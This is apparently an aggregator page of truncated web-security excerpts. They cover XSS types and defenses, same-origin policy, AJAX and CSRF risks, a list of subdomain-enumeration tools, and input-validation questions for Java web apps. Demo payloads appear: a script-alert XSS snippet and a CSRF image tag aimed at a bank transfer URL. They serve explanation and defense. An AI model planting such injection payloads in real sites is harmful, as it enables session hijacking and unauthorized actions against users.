xss

Cross site scripting attacks and same origin policy

烂漫一生 提交于 2019-12-21 04:34:11
问题 I am familiar with the persistent and non-persistent XSS. I also know about Same origin policy that prevents/restricts requests originating from one websites page to go to another websites servers. This made me think that the same origin policy can stop at least the non-persistent type of XSS attacks (Because in the persistent type of attack the malicious code origin would be same as the private information that is stolen). Is my understanding correct? Can SOP be used to stop/reduce these

XSS防范指南 【翻译】

余生颓废 提交于 2019-12-21 03:27:24
原文地址: The definitive guide to XSS 什么是XSS,又称为跨站点脚本攻击 我们这样定义XSS:它是由于网站没有安全处理好用户输入导致该站点成为攻击自己用户的媒介的一种攻击; 通常,黑客可以利用我们网站的漏洞,注入JavaScript; 利用这些漏洞, 黑客可以窃取用户的信息; 通常,XSS分为三种: 1. 持久型XSS 2. 反射型XSS 3. 基于DOM型XSS 为什么说XSS危险? 黑客通常在你不知道,并且未经过你允许的情况的情况下,注入的JavaScript代码可以静悄悄地在你的用户浏览器运行,并把你用户的信息偷走。 这是非常危险的。 xss只是前端或者后端的问题吗? 这是涉及前端和后端的问题。 xss示例 XSS通常发生在你允许用户输入任意的字符,并且你存储在后端然后再展示出来。 例如,你有一个博客,你允许用户进行评论,然后有一些恶意的用户输入了恶意代码注入,当其他用户加载他的评论的时候,当你没有任何阻止的措施的时候,恶意代码就自动运行了。例如他输入了 <script> alert('xss');</script> 使用alert 是因为这里只是作为一个简单的示例. 什么是持久型XSS 持久型XSS是三种XSS之一。这是我上面在博客文章示例中描述的内容。 什么是反射型XSS? Reflected

AJAX安全

人走茶凉 提交于 2019-12-21 03:11:33
AJAX 三问 ajax请求真的不安全吗,为什么后端总是让使用普通HTTP请求? ajax请求哪里不安全? 怎样让ajax请求更安全? 目录 常见的web前端安全问题 CSRF简介 CSRF和ajax的关系 XSS简介 XSS和ajax关系 SQL注入 SQL和ajax关系 ajax和HTTP区别 cors 和ajax安全性之间的关系 首先解决问题:ajax真的不安全吗?哪里不安全?如何更安全? 在Web应用中, 客户端输入不可信 是一个基本原则。 如果某个Web应用具备良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果应用本身存在漏洞,不管用何种技术请求,它都是不安全的。 web常见安全问题: 1.XSS(跨站脚本攻击) -> 伪造会话(基于XSS实现CSRF) ->劫持cookie ->恶意代码执行 2.CSRF(跨站请求伪造) ->伪造用户身份操作 3.SQL注入 CSRF简介 CSRF 冒用用户身份,进行恶意操作 采用cookie来进行用户校验 登录受信任网站A,并在本地生成Cookie 在不登出A的情况下,访问危险网站B 如下图: 一般在(4)处恶意网站(B)的攻击手段如下(必须是指向A的地址,否则无法带上cookie): // 1.譬如在网站内的图片资源中潜入恶意的转账操作 <img src=http://www.bank.example

protect jsp pages againt xss

旧城冷巷雨未停 提交于 2019-12-21 02:55:20
问题 i want to protect my website form xss, and i want to assure that all my data are correct and consistent, so i don't want to allow to add any scripts to my db, that's because my data may be used by other web services , so i want to be sure that my data is correct and will not cause any problems to others. I want to make validation only in the input of the data , not at the output, hence i will make the validation only once, and also i will be sure that no scripts exist in my db . EDIT : please

开源安全工具分享

三世轮回 提交于 2019-12-21 02:00:16
子域名枚举扫描器或爆破工具 https://github.com/lijiejie/subDomainsBrute(lijiejie开发的一款使用广泛的子域名爆破枚举工具) https://github.com/ring04h/wydomain (猪猪侠开发的一款域名收集全面,精准的子域名枚举工具) https://github.com/le4f/dnsmaper (子域名枚举爆破工具以及地图位置标记) https://github.com/0xbug/orangescan(提供web界面的在线子域名信息收集工具) https://github.com/TheRook/subbrute(高效精准的子域名爆破工具,同时也是扫描器中最常用的子域名API库) https://github.com/We5ter/GSDF (基于谷歌SSL透明证书的子域名查询 脚本 ) https://github.com/mandatoryprogrammer/cloudflare_enum (使用CloudFlare进行子域名枚举的 脚本 ) https://github.com/guelfoweb/knock(Knock子域名获取,可用于查找子域名接管漏洞) https://github.com/exp-db/PythonPool/tree/master/Tools/DomainSeeker

Is worrying about XSS,CSRF,sql injection, cookie stealing enough to cover web-security?

故事扮演 提交于 2019-12-20 23:20:14
问题 Web applications on uncompromised computers are vulnerable to XSS,CRSF,sql injection attacks and cookie stealing in unsecure wifi environments. To prevent those security issues there are the folowing remedies sql injection: a good datamapper(like linq-to-sql) does not have the risk of sql injection (am i naïeve to believe this?) CSRF: Every form-post is verified with the <%:Html.AntiForgeryToken() %> (this is a token in a asp.net mvc environment that is stored in a cookie and verified on the

2. XSS- 键盘记录器和反射型XSS

时光怂恿深爱的人放手 提交于 2019-12-20 20:32:54
任务099:XSS- 键盘记录器和反射型XSS 进行xss利用进行键盘记录发送给黑客 黑客的服务器大部分但是用的肉鸡服务器 1 . 创建一个Keylogger.js文件 下面文件内容 意思就是将输入的内容发送给服务器 http://192.168.55.26/keylogger.php 文件 document.onkeypress = function(evt) { evt = evt || window.event key = String.fromCharCode(evt.charCode) if (key) { var http = new XMLHttpRequest(); var param = encodeURI(key) http.open("POST","http://192.168.55.26/keylogger.php",true); http.setRequestHeader("Content-type","application/x-www-form- urlencoded"); http.send("key="+param); } } 2. 在创建一个文件Keylogger.php代码用来接受键盘打的字保存到keylog.txt里 在将接受里的key参数也就是键盘输入的保存到keylog.txt文件里 <?php $key=$_POST['key'];

杂谈!了解一些额外知识,让你的前端开发锦上添花

断了今生、忘了曾经 提交于 2019-12-20 19:17:59
1.前言 在前端学习里面,很多人都是注重学习代码(html,css,js)。或者是一些框架,库(jquery,vue,react),或者是各种工具(webpack,gulp)。在以往的文章里面,或者自己和别人交谈,都有建议过别人多练,不要闷头就写代码,多深入了解当中的原理,学习其中的思想。但是除了代码方面的知识之外,还有哪一些是作为一个前端,应该扩展学习的呢?下面简单罗列和整理了一下最近学习的资源。如果大家还有其它的推荐,欢迎在评论区留言。 下面的知识,可能不需要太过于深入,详细的掌握,但是必须要有所了解,这样在开发上遇到问题,解决问题的时候即使不是如虎添翼,也是锦上添花。 2.http,https 前端而言,不可避免的要和接口打交道。除了和后台对接口,请求数据,渲染页面,之外。对http的请求,也是要有一个了解,比如http协议,请求方式,请求过程,结果状态码等。了解这些,对开发的时候可能遇到的问题,就可以大概知道问题是怎么产生的,更快的知道怎么解决,避免。 2-1.请求 首先一个请求,包含有请求头,请求行,请求正文。具体是怎样境,看下面的代码 如上所述 method和url就是这个请求的请求行(这里是请求行部分信息,其实请求行还包括http协议的版本等信息)。headers中的属性就是请求头,里面的属性,全部包含在请求的 header 里面,是服务端获取客户端版本

Ways to prevent SQL Injection Attack & XSS in Java Web Application

帅比萌擦擦* 提交于 2019-12-20 18:36:57
问题 I'm writing a java class which would be invoked by a servlet filter and which checks for injection attack attempts and XSS for a java web application based on Struts. The InjectionAttackChecker class uses regex & java.util.regex.Pattern class to validate the input against the patterns specified in regex. With that said, I have following questions: What all special characters and character patterns (for example <>, . , --, <=, ==,>=) should be blocked so that injection attack could be

Ways to prevent SQL Injection Attack & XSS in Java Web Application

杀马特。学长 韩版系。学妹 提交于 2019-12-20 18:36:00
问题 I'm writing a java class which would be invoked by a servlet filter and which checks for injection attack attempts and XSS for a java web application based on Struts. The InjectionAttackChecker class uses regex & java.util.regex.Pattern class to validate the input against the patterns specified in regex. With that said, I have following questions: What all special characters and character patterns (for example <>, . , --, <=, ==,>=) should be blocked so that injection attack could be